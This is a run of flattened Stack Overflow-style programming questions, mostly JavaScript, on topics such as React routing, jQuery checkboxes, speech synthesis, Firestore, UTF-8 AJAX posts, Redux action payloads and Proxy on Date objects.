'token ' ) ; // if we have a token , consider the user to be signed in if ( token ) { // we need to update application state store.dispatch ( { type : AUTH_USER } ) ; } const content = renderToString ( < Provider store= { store } > < RouterContext { ... renderProps } / > < /Provider > ) ; const initialState = JSON.stringify ( store.getState ( ) ) ; return res.render ( 'index ' , { content , assets , initialState } ) ; } ) ; }",React router not redirecting on server "JS : I have these HTML elements : Here are my checkboxes : After configuring the checkboxes I want to go through all inputs and set checkboxes as checked where input values are 1 I have tried this : How can I make it work ? < div > < form > < div class= '' form-group '' > < label class= '' control-label '' > < /label > < input type= '' text '' value= '' 1100 '' class= '' myCars '' > < /div > < /form > < form > < div class= '' form-group '' > < label class= '' control-label '' > < /label > < input type= '' text '' value= '' 0011 '' class= '' myCars '' > < /div > < /form > < /div > var elem = $ ( '.myCars ' ) ; var car = [ 'car1 ' , 'car2 ' , `` car3 '' , `` car4 '' ] ; var container = ' < ul class= '' cars '' > ' ; for ( i = 0 ; i < car.length ; i++ ) { container += ' < li > ' + ' < label class= '' container ' + car [ i ] + ' '' > ' + ' < input type= '' checkbox '' > ' + ' < span class= '' checkmark '' > < /span > ' + ' < /label > ' + ' < /li > ' ; } container += ' < /ul > 'elem.closest ( 'div ' ) .append ( container ) ; $ ( '.myCars ' ) .each ( function ( ) { var arr = $ ( this ) .val ( ) var array = arr.split ( `` ) // array values : Array ( 4 ) [ `` 1 '' , `` 1 '' , `` 0 '' , `` 0 '' ] Array ( 4 ) [ `` 0 '' , `` 0 '' , `` 1 '' , `` 1 '' ] $ ( '.myCars ' ) .prop ( 'checked ' , function ( index ) { return +array [ index ] === 1 ; } ) ; } )",set checkboxes checked based on user input "JS : I would like to halt/wait the for-loop until the window.speechSynthesis.speak ( audio ) finishes reading the text , then go to next iteration . I have below code : Now what I want is that , once each sentences [ i ] is printed . The next sentences [ i ] will not be printed until window.speechSynthesis.speak ( audio ) is finished , once the speech is finished then the sentences [ i ] will be printed for the next iteration.So how can I make the loop wait until a function is not finished ? Note : I can make it wait for a constant time , but I want a dynamic wait , i.e . the wait should be as long aswindow.speechSynthesis.speak ( audio ) takes time to finish the text . var all = `` Oak is strong and also gives shade \n \ Cats and dogs each hate the other \n \ The pipe began to rust while new \n Bye . '' sentences = all.split ( '\n ' ) for ( i = 0 ; i < sentences.length ; i++ ) { sentence = sentences [ i ] console.log ( sentences [ i ] ) ; audio = new SpeechSynthesisUtterance ( sentence ) window.speechSynthesis.speak ( audio ) }",How to wait until speech is finished inside Loop ? "JS : I have the following piece of code in my Firefox addon : In addon_dir/defaults/preferences/pref.js , I have the following string : When addon runs for the first time , the code above understands it and installs a button on the toolbar . Also , it adds the following string to profile_dir/prefs.js : It works fine . The only thing that bothers is this string in profile_dir/prefs.js is not cleared when I uninstall the addon . So , if I install this addon for the second time , the firstrun value is false , and the button is not added to the toolbar.Question : is it possible to remove addon preferences ( in my case , user_pref ( `` extensions.CustomButton.firstrun '' , false ) ; ) when addon is uninstalled ? A note : I have read this article , but still have no idea what event to wait for . Any working example ? I believe it is a common operation for addon creators and am very surprised there are no articles explaining these matters in detail . var firstrun = Services.prefs.getBoolPref ( `` extensions.CustomButton.firstrun '' ) ; if ( firstrun ) { // alert ( `` first run '' ) ; Services.prefs.setBoolPref ( `` extensions.CustomButton.firstrun '' , false ) ; installButton ( `` nav-bar '' , `` custom-button-1 '' ) ; } else { // alert ( `` not first run '' ) ; } pref ( `` extensions.CustomButton.firstrun '' , true ) ; user_pref ( `` extensions.CustomButton.firstrun '' , false ) ;",Firefox Addon : how to remove preferences when addon is being uninstalled ? "JS : I am using coffee script in my rails project , but the problem is it works only when i load ( refresh ) the page instead when the page renders , it should also work on the page view change.here is the script i am using : facebook.js.coffee jQuery - > $ ( 'body ' ) .prepend ( ' < div id= '' fb-root '' > < /div > ' ) $ .ajax url : `` # { window.location.protocol } //connect.facebook.net/en_US/all.js '' dataType : 'script ' cache : truewindow.fbAsyncInit = - > FB.init ( appId : env [ `` app_id '' ] , cookie : true ) $ ( ' # sign_in ' ) .click ( e ) - > e.preventDefault ( ) FB.login ( response ) - > window.location = '/auth/facebook/callback ' if response.authResponse $ ( ' # sign_out ' ) .click ( e ) - > FB.getLoginStatus ( response ) - > FB.logout ( ) if response.authResponse true","Coffee Script not fire on page change , but works on page load . [ Rails 5 ]" "JS : We have a set of HTML blocks -- say around 50 of them -- which are iteratively parsed and have Audio objects dynamically added : Suppose we generate about 40 to 80 of these on page load , but always the same set for a particular configuration . In all browsers tested , this basic strategy appears to work . The audio load and play successfully.In IE 's 9 and 10 , a transient bug surfaces . On occasion , calling .play ( ) on the inner Audio object fails . Upon inspection , the inner Audio object has a .error.code of 4 ( MEDIA_ERR_SRC_NOT_SUPPORTED ) . The file 's .duration shows NaN.However , this only happens occasionally , and to some random subset of the audio files . E.g. , usually file_abc.mp3 plays , but sometimes it generates the error . The network monitor shows a successful download in either case . And attempting to reload the file via the console also fails -- and no requests appears in IE 's network monitor : Even appending a query value fails to refetch the audio or trigger any network requests : However , attempting the load the broken audio file in a new tab using the same code works : the `` unsupported src '' plays perfectly.Are there any resource limits we could be hitting ? ( Maybe the `` unsupported '' audio finishes downloading late ? ) Are there any known bugs ? Workarounds ? I think we can pretty easily detect when a file fails . For other compatibility reasons we run a loop to check audio progress and completion stats to prevent progression through the app ( an assessment ) until the audio is complete . We could easily look for .error values -- but if we find one , what do we do about it ! ? Addendum : I just found a related question ( IE 9/10/11 sound file limit ) that suggests there 's an undocumented limit of 41 -- not sure whether that 's a limit of `` 41 requests for audio files '' , `` 41 in-memory audio objects '' , or what . I have yet to find any M $ documentation on the matter -- or known solutions . var SomeAudioWrapper = function ( name ) { this.internal_player = new Audio ( ) ; this.internal_player.src = this.determineSrcFromName ( name ) ; // ultimately an MP3 this.play = function ( ) { if ( someOtherConditionsAreMet ( ) ) { this.internal_player.play ( ) ; } } } var a = new Audio ( ) ; a.src = `` the_broken_file.mp3 '' ; a.play ( ) ; // failsa.error.code ; // 4 var a = new Audio ( ) ; a.src = `` the_broken_file.mp3 ? v=12345 '' ; a.play ( ) ; // failsa.error.code ; // 4",IE 9 and 10 yield unexpected and inconsistent MediaError 's "JS : I have the facebook application with approved ads_read , manage_pages ads_management , business_management and Ads Management Standard Access permissions.I can create Ad campaign , ad set and can upload asset to Facebook via Facebook Marketing API.I create ad set with such parameters : I create ad creative with such fields : The problem is , when I try to create ad with parameters : I got error Object Store URL does not match promoted object : Please ensure that the object store URL associated with your ad creative matches the object store URL set on your promoted object . If I look to my Facebook business manager - > Ads manager , I see created ad set which is linked to app , page and iOS application.Everything looks like if I create ad set by my own , not script.So , I 'm pretty sure that ad set creates correctly.But I ca n't figure out how to create ad creative to make it work.I have this problem for 2 weeks from now , and here is my question about ad creative error.P.S . Here is links to my questions on facebook community forum , if it could help to clear the situation link , link , link , link { name : 'adset_name ' , campaign_id : ' < campaign_id > ' , lifetime_spend_cap : 11000 , promoted_object : { application_id : ' < fb_app_id > ' , object_store_url : 'https : //itunes.apple.com/app/ < my_app > ' , page_id : ' < page_id > ' , } , billing_event : 'IMPRESSIONS ' , optimization_goal : 'APP_INSTALLS ' , bid_amount : 20000 , targeting : { age_min : 20 , age_max : 25 , genders : [ 1 ] , locales : [ 6 ] , user_os : [ 'iOS_ver_11.0_and_above ' ] , geo_locations : { countries : [ `` US '' ] , } , excluded_geo_locations : { countries : [ `` GB '' ] , } , publisher_platforms : 'facebook ' , facebook_positions : [ 'feed ' ] , } , device_platforms : 'mobile ' , pacing_type : 'standard ' , status : 'PAUSED ' , end_time : '2019-07-30 23:59:59-07:00 ' , } ; { object_type : 'APPLICATION ' , status : 'ACTIVE ' , name : 'hello ' , title : 'foo ' , object_story_spec : { page_id : ' < facebook page id associated with app > ' , photo_data : { image_hash : asset_hash , caption : 'Just image ' , } , } , application_id : ' < app store app id > ' , object_store_url : 'https : //itunes.apple.com/app/ < my app same as application_id > ' , } { name : 'Heyyy ' , campaign_id , adset_id , creative : { creative_id , } , status : 'PAUSED ' , }",Request to promote iOS App in Facebook via Marketing API "JS : Possible Duplicate : Conflicting boolean values of an empty JavaScript array What is the rationale behind the fact thatreturns [ true , 1 ] ? In other words an empty list is logically true in a boolean context , but is equal to false.I know that using === solves the issue , but what is the explanation behind this apparently totally illogical choice ? In other words is this considered a mistake in the language , something unintentional that just happened and that can not be fixed because it 's too late or really in the design of the language someone thought it was cool to have this kind of apparent madness that I 'm sure is quite confusing for many programmers ? The technical explanation of how this happens is at the same time amazing and scaring , I was however more interested in what is behind this design.EditI accepted very detailed Nick Retallack explanation , even if it 's only about the technical reasons of why [ ] ==false is true : surprisingly enough it happens is because [ ] converted to string is an empty string and the empty string numeric value is special cased to be 0 instead of the apparently more logical NaN . With an empty object for example the comparison ( { } ) == false returns false because the string representation of an empty object is not the empty string.My curiosity still remains about all this being just unanticipated ( and now unfortunately solidified in a standard ) . [ ( [ ] == false ) , ( [ ] ? 1 : 2 ) ]",Javascript apparent madness "JS : For some reason html5 validation message is not shown when I 'm using an async request.Here you can see an example.http : //jsfiddle.net/E4mPG/10/When checkbox is not checked , everything works as expected , but when it is checked , the message is not visible.Can someone explain what should be done ? setTimeout ( function ( ) { ... //this is not working target.setCustomValidity ( 'failed ! ' ) ; ... } , 1000 ) ;",async html5 validation JS : Based on this solution i tried to call a JavaScript function located in my WebBrowser - control . The .xaml looks like thisBut neither this code Error Microsoft.CSharp.RuntimeBinder.RuntimeBinderException : `` mshtml.HTMLDocumentClass ' does not contain a definition for 'myfunc '' nor this CodeError System.Runtime.InteropServices.COMException : 'Unknown name . ( Exception from HRESULT : 0x80020006 ( DISP_E_UNKNOWNNAME ) ) 'do work.What am I missing ? < Grid > < WebBrowser x : Name= '' browser '' / > < /Grid > public MainWindow ( ) { InitializeComponent ( ) ; browser.NavigateToString ( `` < html > < script > function callMe ( ) { alert ( 'Hello ' ) ; } document.myfunc = callMe ; < /script > < body > Hello World < /body > < /html > '' ) ; dynamic doc = browser.Document ; doc.myfunc ( ) ; } public MainWindow ( ) { InitializeComponent ( ) ; browser.NavigateToString ( `` < html > < script > function callMe ( ) { alert ( 'Hallo ' ) ; } < /script > < body > Hello World < /body > < /html > '' ) ; browser.InvokeScript ( `` callMe '' ) ; },Error when calling Javascript function located in WPF WebBrowser Control from C # code "JS : Summary : Basically , I 'm using a background page to listen to events , such as : onStartup , onInstalled and cookies.onChanged to decide which page should be displayed to the user when the browserAction is clicked . My question regards the latter and how it is triggered.Code sample : The thing is , although the code above handles explicit calls just fine ( cookies.set & cookies.get ) , it does n't seem to trigger when a cookie life-span expires..From the debugging sessions I conducted , the code is only triggered when a explicit call is made after the cookie 's expected expiration date.E.g . if I make a call like cookies.getAll ( ) after the supposed expiration time , the browser realizes that the cookie has expired and only then the event is triggered.Did I miss anything ? Can anyone please enlighten me if I 'm misusing the cookies API or if I misunderstood the mechanic behind it ? Any help is greatly appreciated ! Best regards , chrome.cookies.onChanged.addListener ( function ( info ) { if ( info.cookie.name === `` dummycookie '' ) { /* Possibilities of info.cause ( as described in the docs ) : * evicted * expired * explicit ( it 's used when setting or removing a cookie ) * expired_overwrite * overwrite */ if ( info.cause == `` overwrite '' || ( info.cause == `` explicit '' & & ! info.removed ) ) { // Cookie was set ( explicit or overwrite ) chrome.browserAction.setPopup ( { popup : `` dummy1.html '' } ) ; } else { // Cookie was removed ( evicted , expired or expired_overwrite ) chrome.browserAction.setPopup ( { popup : `` dummy2.html '' } ) ; } } } ) ;",Chrome Extension 's persistent cookies not expiring correctly ? "JS : here is my code in html to generate marker and infowindow ( with ruby on rails ) this gon is just some 'stupid ' method I use to pass data from ruby on rails controller to javascript.for all marker , the infowindow all appear at corner.But for my another map ( which have only one marker with infowindow ) it works fine.What might be my problem ? why this infowindow appear in wrong position ? Instead of just above the marker ? EDIT : After half day 's trouble shoot , I feel the problem is at google.maps.event.addListener ( marker [ i ] , '' mouseover '' , function ( e ) { iw.open ( map , marker [ i ] ) ; } ) when the listener calls back , the value inside marker is i , which is not a actual number , so the marker display at a corner.I feel the problem is ca n't pass variable into addListener , can only put in actual number.How to solve this ? var marker= [ ] function initMap ( ) { var latLng1 = new google.maps.LatLng ( 1.352083 , 103.819836 ) ; var myOptions = { zoom : 12 , center : latLng1 , mapTypeId : google.maps.MapTypeId.ROADMAP } map = new google.maps.Map ( document.getElementById ( 'map_canvas ' ) , myOptions ) ; for ( i=0 ; i < gon.astatic.length ; i++ ) { var latLng = new google.maps.LatLng ( gon.astatic [ i ] [ 1 ] , gon.astatic [ i ] [ 2 ] ) ; if ( i < 2 ) { marker [ i ] = new MarkerWithLabel ( { position : latLng , map : map , icon : '' /assets/green_MarkerV.png '' , labelClass : `` labels '' , labelContent : gon.astatic [ i ] [ 3 ] } ) ; } else { marker [ i ] = new MarkerWithLabel ( { position : latLng , map : map , icon : '' /assets/green_MarkerN.png '' , labelClass : `` labels '' , labelContent : gon.astatic [ i ] [ 3 ] } ) ; } var iw =new google.maps.InfoWindow ( { content : 'HI ' } ) ; google.maps.event.addListener ( marker [ i ] , '' mouseover '' , function ( e ) { iw.open ( map , marker [ i ] ) ; } ) }",GoogleMaps InfoWindow appear at a corner "JS : I noticed today while doing some testing that the way I close my < script > tag either makes or breaks my page . For example , this works : but this does not : The file appears to show up when I use IE 's Developer Tools , but it seems like it just gets ignored . Has anyone ever seen this or know why it might be happening ? Thanks in advance ! < script src= '' scripts/jquery.js '' type= '' text/javascript '' > < /script > < script src= '' scripts/jquery.js '' type= '' text/javascript '' / >",< script > tag must include separate < /script > tag ? "JS : I am able to access data document data but unable to access further field data of card like email.getting error on .get ( ) function.FunctionI run a code and get this error in console exports.StripeSource =functions.firestore.document ( 'data/ { card } /tokens/ { tokenid } ' ) .onCreate ( async ( tokenSnap , context ) = > { const user_id = context.params.card ; console.log ( 'Document data : ' , user_id ) ; var customerdata ; const snapshot = firestore.collection ( 'test ' ) .doc ( 'card ' ) ; return snapshot .get ( ) .then ( doc = > { if ( ! doc.exists ) { console.log ( 'No such User document ! ' ) ; console.log ( 'Document data : ' , doc.data ( ) .email ) ; } else { console.log ( 'Document data : ' , doc.data ( ) ) ; console.log ( 'Document data : ' , doc.data ( ) .email ) ; return true ; } } ) .catch ( err = > { console.log ( 'Error getting document ' , err ) ; return false ; } ) ; } ) ; [ ! [ TypeError : snapshot.get is not a function at exports.StripeSource.functions.firestore.document.onCreate ( /srv/index.js:13:8 ) at cloudFunction ( /srv/node_modules/firebase-functions/lib/cloud-functions.js:131:23 ) at /worker/worker.js:825:24 at < anonymous > at process._tickDomainCallback ( internal/process/next_tick.js:229:7 ) ] [ 2 ] ] [ 2 ]",How to get an specific field data from cloud fire store database ? "JS : I am working on a page that uses JavaScipt to send data to a PHP script via AJAX POST . The problem is , if the input is in a language that is not Latin based I end-up storing gibberish in the MySQL table . Latin alphabet works fine.The page itself is capable to rendering UTF-8 characters , if they are in a data provided on page load , it 's the post that I struggle with.اختبارand save . See the Network POST request in browser 's dev tools.The post is made through the following JS functionHere 's my PHP code.When I check for encoding on the page like this : I get result : UTF-8I also tried the following header : MySQL table collation where the data is supposed to go is set to utf8_general_ciI have another page that has a form where users populate the same table and it works perfectly fine with ANY language . When I check on the other page why it is capable of inserting similar data into db successfully I see the following above insert query : I 've attempted putting the same line above my query that the data still looks gibberish . I also tried the following couple alternatives : and ... but to no avail . I 'm stomped . Need help getting it figured out.Environment : PHP 5.6.40 ( cgi-fcgi ) MySQL 5.6.45UPDATEI ran more tests.I used a phrase `` this is a test '' in Arabic - هذا اختبارIt seems that ajax.php code works properly . After db insert it returns UTF-8 encoded values , that look like : `` \u0647\u0630\u0627 \u0627\u062e\u062a\u0628\u0627\u0631 '' and the encoding is set to : '' UTF-8 '' , however the inserted data in my db table appears as : هذا اختبارSo why am I not jumping to converting my db table to different collation ? Couple of reasons : it has nearly .5 mil records and it actually works properly when I go to another page that does very similar INSERT.Turns out my other page is using ASCII encoding when inserting the data . So it 's only natural I try to conver to ASCII on ajax.php . The problem I end-up with blank data . I am so confused now ... ThanksFIXED : based on a few clues I ended-up rewriting all functions for this page to PDO and it worked ! function createEmptyStack ( stackTitle ) { return $ .ajax ( { type : 'POST ' , url : 'ajax.php ' , data : { `` do '' : 'createEmptyStack ' , newTitle : stackTitle } , dataType : `` json '' } ) ; } header ( 'Content-Type : text/html ; charset=utf-8 ' ) ; $ newTitle = trim ( $ _POST [ 'newTitle ' ] ) ; $ db- > query ( `` INSERT INTO t1 ( project_id , label ) VALUES ( `` . $ _SESSION [ 'project_id ' ] . `` , ' '' . $ newTitle . `` ' ) '' ) ; mb_detect_encoding ( $ _POST [ 'newTitle ' ] , `` auto '' ) ; header ( `` Content-type : application/json ; charset=utf-8 '' ) ; mysql_query ( `` SET NAMES utf8 '' ) ; mysql_query ( `` SET CHARACTER SET utf8 `` ) ; mysql_set_charset ( 'utf8 ' , $ db ) ;",Adding UTF-8 support to JS/PHP script "JS : i have this code in my htmlmy problem is everytime i save into my database the result always automatic YES , even i unchecked the checkbox ( NO ) in the html.i dont know if i am doing right in my javascriptthis is my views.pymodels.pyhtml.pyeven i insert record from my html is unchecked ( No ) , the result always automatic `` Yes '' in my database , can you please fixed my javascript code ? seems like its not working . < form id= '' form '' name= '' form '' > < input type= '' checkbox '' value= '' 1 '' name= '' Asthma '' data-form-field= '' Option '' class= '' form-check-input display-7 '' id= '' checkbox1 '' title= '' Check if Student have Asthma '' > < input type= '' checkbox '' value= '' 1 '' name= '' Congenital '' data-form-field= '' Option '' class= '' form-check-input display-7 '' id= '' checkbox1 '' title= '' Check if Student have Congenital Anomalies '' > < input type= '' checkbox '' value= '' 1 '' name= '' Contact '' data-form-field= '' Option '' class= '' form-check-input display-7 '' id= '' checkbox1 '' title= '' Check if Student use Contact lens '' > < /form > < script type= '' text/javascript '' > // when page is ready $ ( document ) .ready ( function ( ) { // on form submit $ ( `` # form '' ) .on ( 'submit ' , function ( ) { // to each unchecked checkbox $ ( this + 'input [ type=checkbox ] : not ( : checked ) ' ) .each ( function ( ) { // set value 0 and check it $ ( this ) .attr ( 'checked ' , true ) .val ( 0 ) ; } ) ; } ) } ) < /script > Asthma = request.POST [ 'Asthma ' ] Congenital = request.POST [ 'Congenital ' ] Contact = request.POST [ 'Contact ' ] V_insert_data = StudentUserMedicalRecord ( Asthma=Asthma , CongenitalAnomalies=Congenital , ContactLenses=Contact ) V_insert_data.save ( ) Asthma=models.BooleanField ( null=True , blank=True , default=False ) CongenitalAnomalies=models.BooleanField ( null=True , blank=True , default=False ) ContactLenses=models.BooleanField ( null=True , blank=True , default=False )",( still unAnswered ) django checkbox save yes or no in the database "JS : To get and set the caret position in an contenteditable element , I 've tried the code from this answer , but the start & end position resets as you move into different text nodes.So , I modified the code from this answer ( by @ TimDown ) but it 's still not quite counting the line breaks properly ... In this demo , when I click after the 4 and press the right arrow three times , I 'll see the start/end report as 5 , 6 , then 8 . Or , use the mouse to select from the 4 in the first row and continuing selecting to the right ( see gif ) Here is the code ( demo ; even though it looks like it , jQuery is not being used ) The setCaret function modification appears to be working properly ( in this basic contenteditable example ) .I could use some advice/help with the following issues : How do I properly count the < br > s ? How do you count a < br > at the beginning ( in this HTML example ) ? Include < br > 's wrapped in a < div > ( in this HTML example ) - I 'll eventually get to this , but I did n't want to continue down this path and find out there is an easier method.I tried to replace the above code with rangy , but it does n't appear to have a built-in method to get or set a range . < div contenteditable > 012345 < br > < br > < br > 9012345 < /div > function getCaret ( el ) { let start , end ; const range = document.getSelection ( ) .getRangeAt ( 0 ) , preSelectionRange = range.cloneRange ( ) , postSelectionRange = range.cloneRange ( ) ; preSelectionRange.selectNodeContents ( el ) ; preSelectionRange.setEnd ( range.startContainer , range.startOffset ) ; postSelectionRange.selectNodeContents ( el ) ; postSelectionRange.setEnd ( range.endContainer , range.endOffset ) ; start = preSelectionRange.toString ( ) .length ; end = start + range.toString ( ) .length ; // count < br > 's and adjust start & end if ( start > 0 ) { var node , i = el.children.length ; while ( i -- ) { node = el.children [ i ] ; if ( node.nodeType === 1 & & node.nodeName === 'BR ' ) { start += preSelectionRange.intersectsNode ( el.children [ i ] ) ? 1 : 0 ; end += postSelectionRange.intersectsNode ( el.children [ i ] ) ? 1 : 0 ; } } } return { start , end } ; } function setCaret ( el , start , end ) { var node , i , nextCharIndex , sel , charIndex = 0 , nodeStack = [ el ] , foundStart = false , stop = false , range = document.createRange ( ) ; range.setStart ( el , 0 ) ; range.collapse ( true ) ; while ( ! stop & & ( node = nodeStack.pop ( ) ) ) { // BR 's are n't counted , so we need to increase the index when one // is encountered if ( node.nodeType === 1 & & node.nodeName === 'BR ' ) { charIndex++ ; } else if ( node.nodeType === 3 ) { nextCharIndex = charIndex + node.length ; if ( ! foundStart & & start > = charIndex & & start < = nextCharIndex ) { range.setStart ( node , start - charIndex ) ; foundStart = true ; } if ( foundStart & & end > = charIndex & & end < = nextCharIndex ) { range.setEnd ( node , end - charIndex ) ; stop = true ; } charIndex = nextCharIndex ; } else { i = node.childNodes.length ; while ( i -- ) { nodeStack.push ( node.childNodes [ i ] ) ; } } } sel = document.getSelection ( ) ; sel.removeAllRanges ( ) ; sel.addRange ( range ) ; } < div contenteditable > < br > 12345 < br > < br > < br > 9012345 < /div > < div contenteditable > < div > < br > < /div > 12345 < div > < br > < /div > < div > < br > < /div > < div > < br > < /div > 9012345 < /div >",Accounting for ` < br > ` s in contenteditable caret position "JS : Simple answer : The jQuery library my code base was using was out of date . If yours is up to date try the following : Step though the unminified version of jQuery to see if the issue is inside the library ( which 9 times out of 10 it probably will not be ) When all else fails , just write a pure javascript solution.Sometimes when I am writing a `` class '' in javscript with jQuery , jQuery will just not function as it should . For example today I was doing the following on an input select : $ ( this ) .val ( newValue ) ; This was working in jFiddle just fine , but not working in my project ( both had 0 script errors ) . I tried to isolate the code as much as possible , but to no avail I could not get it to work.The `` solution '' for this was to just write straight up javascript to set the value and it worked just fine . I am not a jQuery master , but this is not the first time I had to write a straight javascript solution when jQuery `` failed . '' Do any jQuery masters out there know why something like this might happen ? Is there a method of debugging jQuery I am not aware of ? Does anyone else run into these types of problems with jQuery ? If so , do you have a solution ? Update ( s ) : Aug 25 , 2011I downloaded the most recent version of the jQuery library and stepped through it only to find that the bug was probably resolved between jQuery 1.4.4 and 1.6.2 . I did n't realize the person who handles most of the javascript was n't keeping the jQuery library up to date . After stepping through the jQuery 1.4.4 library it seems that jQuery was not able to find my selector for some reason and therefore was never setting the value . This problem has been resolved in 1.6.2 ... .Lesson of the week ... keep your jQuery library up to date and verify your senior developer 's statements when things are n't matching up . -I chose the answer I did because it was the only one which really helped me diagnose the source of the problem . While stepping through the unminified version of jQuery is such a simple solution , I actually should have done that before posting this question . I will post my findings as to why it did n't work later.Aug 24 , 2011I agree with the user Sohnee that having a duplicate 'name ' is n't bad practice and in some places you actually need it . I feel rather stupid because the posted code has been wrong for almost a week now . I have updated the code . I moved the init function to the public scope.Aug 22 , 2011While I am partially satisfied that the core of the problem is with duplicate names , I need to know why are duplicate names bad ? I know when dealing with inputs/css/etc you usually except IDs to be unique and classes to represent groups . I did n't think there were any rules about names , but if someone can explain to me why having duplicate names is bad practice , I will consider that the answer to this problem . Aug 16 , 2011As for the current answers , I do n't think it is a conflict . jQuery is working just fine . The binds are triggering causing the functions to be called in both implementations . The problem line is For example , if I console out newVal in the .each ( ) it will have a value of lets say ' A'.Then if I console log out $ ( this ) .val ( ) it will be ' B ' . Then $ ( this ) .val ( newVal ) ; is run . After that if I do a console log of $ ( this ) .val ( ) it will still be ' B'.In the comments someone mentioned that I might be using the word this wrong . Both of these returned 0 javascript errors on Chrome 's console . I will give the following code snippet was what was having problems . I will write the original and then what I replaced it with javascript.I am aware the name is the same , but that is ok . The page I am working on is a huge form and the cloned select is just to make the user not have to scroll back to another part of the form.HTML : jQuery ( this does not work ) : Javascript ( this works ) : $ ( overrideSelector ) .each ( function ( ) { $ ( this ) .val ( newVal ) ; } ) ; < div id='overrideHolder ' > < /div > < select name='mySelect ' > < option value= ' A ' > A < /option > < option value= ' B ' > B < /option > < /select > var someClass = ( function ( ) { var overrideSelector = ' [ name= '' mySelect '' ] ' ; ... return { init : function ( ) { $ ( overrideSelector ) .clone ( ) .appendTo ( ' # overrideHolder ' ) ; $ ( overrideSelector ) .each ( function ( ) { $ ( this ) .bind ( 'change ' , { } , function ( ) { someClass.overrideTryAgain ( this ) ; } ) ; } ) ; } overrideTryAgain : function ( element ) { var newVal = $ ( element ) .val ( ) ; $ ( overrideSelector ) .each ( function ( ) { $ ( this ) .val ( newVal ) ; } ) ; ... } , ... } } ) ( ) ; $ ( document ) .ready ( function ( ) { someClass.init ( ) ; } var someClass : ( function ( ) { var overrideSelector = ' [ name= '' mySelect '' ] ' ; ... return { init : function ( ) { $ ( overrideSelector ) .clone ( ) .appendTo ( ' # overrideHolder ' ) ; $ ( overrideSelector ) .each ( function ( ) { $ ( this ) .bind ( 'change ' , { } , function ( ) { someClass.overrideTryAgain ( this ) ; } ) ; } ) ; } overrideTryAgain : function ( element ) { // NOTE : Using javascript instead of jQuery because jQuery was not duplicating the selected value properly var newValue = $ ( element ) .get ( 0 ) ; newValue = newValue.selectedIndex ; $ ( overrideSelector ) .each ( function ( ) { var currentSelect = $ ( this ) .get ( 0 ) ; currentSelect.options [ newValue ] .selected = true ; } ) ; ... } , ... } } ) ( ) ; ... $ ( document ) .ready ( function ( ) { someClass.init ( ) ; }",jQuery can not change a value where JS can because the library is out of date "JS : That 's my question , and here 's my example code.HTML : JS : If you click a thumbnail to launch FancyBox , afterLoad will drop in the header , but when you click the image and watch the console you get nothing . Thoughts ? I 'm trying to use FancyBox 's $ .fancybox.close ( ) method , but if I ca n't get the click event to fire , I 'm forced to using it inline , which I 'd rather not do for the sake of not using JS inline . < a class= '' fancybox '' rel= '' group '' href= '' img1.jpg '' > < img src= '' img1_thumb.jpg '' > < /a > < a class= '' fancybox '' rel= '' group '' href= '' img2.jpg '' > < img src= '' img2_thumb.jpg '' > < /a > var header = ' < img id= '' w '' src= '' logo.gif '' > ' ; $ ( '.fancybox ' ) .fancybox ( { afterLoad : function ( ) { this.wrap.prepend ( header ) ; } , // afterLoad } ) ; //fancybox $ ( ' # w ' ) .click ( function ( ) { console.log ( 'clicked ' ) ; } ) ;",Does Fancybox mute Click events ? "JS : I have n't found a good answer to this anywhere , and it seems like a pointless convention . In lots of tutorials and documentation , Redux actions are defined like this : What 's the point of the payload object ? Why not just write this : I 'm using Flow , and I like defining all of my action types as a union , without nested payloads : I do n't have to type payload so many times , and I get autocompletion and type checking for all of my actions , so I 'm not sure what I 'm missing.Am I missing out on some benefits by not putting all of my data inside a payload object ? { type : `` ACTION_NAME '' , payload : { foo : 123 , bar : 456 , } } { type : `` ACTION_NAME '' , foo : 123 , bar : 456 , } type Action = { type : 'ACTION_NAME ' , foo : number , bar : number , } | { type : 'ANOTHER_ACTION ' , someData : string , } | { type : 'ONE_MORE_ACTION ' , moreData : boolean , }",What are the advantages of putting data inside a `` payload '' key in a Redux action ? "JS : Simple question I am trying the following in my consoleI am expecting to be able to callbut it does not work it throws : Uncaught TypeError : this is not a Date object . at Proxy.getMonth ( < anonymous > ) at < anonymous > :1:3Funny part is that in Chrome the autocomplete does suggest all the Date functions on a . What am I missing ? Edit in response for @ BergiI realized that there is a bug in this code aside for my question but here is what I am trying to do : Now getData ( ) returns some dates let a = new Proxy ( new Date ( ) , { } ) a.getMonth ( ) ; class myService { ... makeProxy ( data ) { let that = this ; return new Proxy ( data , { cache : { } , original : { } , get : function ( target , name ) { let res = Reflect.get ( target , name ) ; if ( ! this.original [ name ] ) { this.original [ name ] = res ; } if ( res instanceof Object & & ! ( res instanceof Function ) & & target.hasOwnProperty ( name ) ) { res = this.cache [ name ] || ( this.cache [ name ] = that.makeProxy ( res ) ) ; } return res ; } , set : function ( target , name , value ) { var res = Reflect.set ( target , name , value ) ; that.isDirty = false ; for ( var item of Object.keys ( this.original ) ) if ( this.original [ item ] ! == target [ item ] ) { that.isDirty = true ; break ; } return res ; } } ) ; } getData ( ) { let request = { ... } return this._ $ http ( request ) .then ( res = > makeProxy ( res.data ) ; }",Proxy on a date object "JS : Say I have this code : Why does n't the primitive use the class 's toString definition ? Object keys are either strings or symbols , they can not just be raw booleans . This is why I 'm confused . Boolean.prototype.toString = function toString ( ) { return this.valueOf ( ) ? ' 1 ' : ' 0 ' ; } ; var object = { true : 'true ' , false : 'false ' , 1 : ' 1 ' , 0 : ' 0 ' } ; // `` true '' - this does n't workconsole.log ( 'primitive ' , object [ true ] ) ; // `` 1 '' - but these doconsole.log ( 'primitive.toString ( ) ' , object [ true.toString ( ) ] ) ; console.log ( 'instance ' , object [ new Boolean ( true ) ] ) ;",Why does Boolean primitive not call prototype toString ( ) ? "JS : Say you have the following string : I 'm trying to find the smallest substring containing the letters ABCDA.I tried a regex approach.This works , but it only find strings where ABCDA appear ( in that order ) . Meaning it wo n't find substring where the letters appear in a order like this : BCDAAI 'm trying to change my regex to account for this . How would I do that without using | and type out all the different cases ? 